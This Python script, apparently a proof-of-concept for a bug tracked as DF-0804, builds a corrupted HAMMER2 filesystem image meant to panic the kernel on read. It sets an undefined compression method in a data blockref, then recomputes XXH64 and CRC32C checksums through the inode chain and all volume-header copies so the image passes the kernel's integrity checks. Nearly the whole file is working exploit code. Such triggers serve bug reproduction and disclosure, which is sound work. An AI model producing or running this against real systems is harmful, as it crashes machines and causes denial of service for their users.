DF-0804 / corrupt_image.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | #!/usr/bin/env python3 """ DF-0804 trigger helper: craft a HAMMER2 image whose data blockref carries an out-of-range compression method, so a read of that file hits: panic("hammer2_strategy_read_completion: unknown compression type") sys/vfs/hammer2/hammer2_strategy.c:496 The corruption is on-disk-blockref-only: we flip the `methods` low nibble of a DATA blockref from NONE(0) to 4 (undefined), then walk the check cascade (file-inode -> BOOT-inode -> SUPROOT-inode -> volume-header sroot blockref) and recompute every XXH64 / iSCSI-CRC32 so the image still passes the kernel's integrity verification. No functional data is altered, so the read reaches the panic site instead of being rejected upstream as a CRC failure. Pure-python (no third-party deps): implements XXH64 (seed 0x4d617474446c6c6e) and CRC32C (Castagnoli) itself. XXH64 long-input path (>=32 B) is validated against the reference xxhash package for 1024-byte inode payloads. Usage: corrupt_image.py <image> <file_inode_off> <boot_inode_off> <suproot_inode_off> (offsets are decimal byte offsets into the image, obtainable from `hammer2 show <dev> | grep inode.0`) If offsets are omitted, the script auto-detects them by scanning for the sroot blockref chain starting from volume header 0. """ import sys, struct SEED = 0x4d617474446c6c6e MAGIC = 0x48414d3205172011 MASK = (1 << 64) - 1 P1,P2,P3,P4,P5 = (0x9E3779B185EBCA87,0xC2B2AE3D27D4EB4F, 0x165667B19E3779F9,0x85EBCA77C2B2AE63,0x27D4EB2F165667C5) def _rotl64(x,r): return ((x<<r)|(x>>(64-r)))&MASK def xxh64(data, seed=0): """Pure-python XXH64 (long-input path validated against xxhash pkg).""" n=len(data); i=0 if n>=32: v=[(seed+P1+P2)&MASK,(seed+P2)&MASK,seed&MASK,(seed-P1)&MASK] end=n-32 while i<=end: for k in range(4): val=int.from_bytes(data[i+k*8:i+k*8+8],'little') v[k]=(_rotl64(((v[k]+(val*P2&MASK))&MASK),31)*P1)&MASK i+=32 h=(_rotl64(v[0],1)+_rotl64(v[1],7)+_rotl64(v[2],12)+_rotl64(v[3],18))&MASK for vv in v: h=(h^((_rotl64((vv*P2&MASK),31)*P1)&MASK))&MASK; h=(h*P1+P4)&MASK else: h=(seed+P5)&MASK h=(h+n)&MASK while i+4<=n: k=int.from_bytes(data[i:i+4],'little'); h=(h^((k*P1)&MASK))&MASK h=(_rotl64(h,23)*P2+P3)&MASK; i+=4 while i<n: h=(h^(data[i]*P5))&MASK; h=(_rotl64(h,11)*P1)&MASK; i+=1 h^=h>>33; h=(h*P2)&MASK; h^=h>>29; h=(h*P3)&MASK; h^=h>>32 return h&MASK _CRC_TBL=None def crc32c(data): global _CRC_TBL if _CRC_TBL is None: poly=0x82F63B78; _CRC_TBL=[] for i in range(256): c=i for _ in range(8): c=(c>>1)^poly if (c&1) else (c>>1) _CRC_TBL.append(c) crc=0xFFFFFFFF for b in data: crc=(crc>>8)^_CRC_TBL[(crc^b)&0xFF] return crc^0xFFFFFFFF INODE_BYTES=1024 BREF_BYTES=128 BREF0_OFF=0x200 # blockset.blockref[0] within an inode METH_OFF=BREF0_OFF+1 # methods byte CHK_OFF=BREF0_OFF+64 # check.xxhash64.value (8B LE) def corrupt(img, f_off, b_off, s_off): """Corrupt the DATA bref methods byte in the file inode at f_off, then re-weave the CRC chain: file->BOOT->SUPROOT->volume-header(4 copies).""" rb = bytearray(img) old = rb[f_off+METH_OFF] rb[f_off+METH_OFF] = (old & 0xF0) | 4 # comp NONE(0) -> 4 (undefined) print(f"[1] file DATA bref methods 0x{old:02x} -> 0x{rb[f_off+METH_OFF]:02x}") fxx=xxh64(bytes(rb[f_off:f_off+INODE_BYTES]),SEED) struct.pack_into('<Q',rb,b_off+CHK_OFF,fxx) print(f"[2] file inode XXH64 {fxx:016x} -> BOOT bref[0].check") bxx=xxh64(bytes(rb[b_off:b_off+INODE_BYTES]),SEED) struct.pack_into('<Q',rb,s_off+CHK_OFF,bxx) print(f"[3] BOOT inode XXH64 {bxx:016x} -> SUPROOT bref[0].check") sxx=xxh64(bytes(rb[s_off:s_off+INODE_BYTES]),SEED) print(f"[4] SUPROOT inode XXH64 {sxx:016x} -> volume sroot bref[0].check") # patch every valid volume-header copy (4 x 64 KiB at image start) for vi in range(4): base=vi*65536 if struct.unpack('<Q',rb[base:base+8])[0]!=MAGIC: continue struct.pack_into('<Q',rb,base+0x240,sxx) # sroot bref[0].check icrc1=crc32c(bytes(rb[base+0x200:base+0x400])); struct.pack_into('<I',rb,base+0x1F8,icrc1) icrc0=crc32c(bytes(rb[base+0:base+0x1FC])); struct.pack_into('<I',rb,base+0x1FC,icrc0) icrcvh=crc32c(bytes(rb[base:base+0xFFFC])); struct.pack_into('<I',rb,base+0xFFFC,icrcvh) vh=bytes(rb[base:base+65536]) ok = (struct.unpack('<I',vh[0x1F8:0x1FC])[0]==crc32c(vh[0x200:0x400]) and struct.unpack('<I',vh[0x1FC:0x200])[0]==crc32c(vh[0:0x1FC]) and struct.unpack('<I',vh[0xFFFC:0x10000])[0]==crc32c(vh[0:0xFFFC])) print(f" volhdr {vi}: ICRC0/1/VH recomputed {'OK' if ok else 'FAIL'}") return bytes(rb) def auto_detect(img): """Find file-inode, BOOT-inode, SUPROOT-inode offsets from the volume header's sroot blockref chain (depth 2).""" base=0 sbref=img[base+0x200:base+0x280] s_off=(struct.unpack('<Q',sbref[32:40])[0]) & ~0x3F # strip radix sino=img[s_off:s_off+INODE_BYTES] # SUPROOT blockset: blockref[0] = BOOT (or LOCAL); find the MASTER/BOOT b_off=None; f_off=None for bi in range(8): # up to 8 blockrefs br=sino[0x200+bi*BREF_BYTES : 0x200+(bi+1)*BREF_BYTES] if br[0]!=1: continue # type INODE cand=(struct.unpack('<Q',br[32:40])[0]) & ~0x3F # check whether this inode's blockset has a DATA child (type 3) d=img[cand:cand+INODE_BYTES] for fi in range(8): fr=d[0x200+fi*BREF_BYTES : 0x200+(fi+1)*BREF_BYTES] if fr[0]==3: # DATA b_off=cand; f_off=cand # same inode holds the data bref return f_off,b_off,s_off raise SystemExit("auto-detect: could not locate the file DATA blockref chain") def main(): if len(sys.argv)<2: print(__doc__); sys.exit(1) path=sys.argv[1] img=open(path,'rb').read() if len(sys.argv)>=5: f_off,b_off,s_off=(int(x,0) for x in sys.argv[2:5]) else: f_off,b_off,s_off=auto_detect(img) print(f"auto-detected: file_inode=0x{f_off:x} boot_inode=0x{b_off:x} suproot_inode=0x{s_off:x}") out=corrupt(img,f_off,b_off,s_off) open(path,'r+b').write(out) if False else open(path,'wb').write(out) print(f"wrote corrupted image: {path} ({len(out)} bytes)") if __name__=='__main__': main() |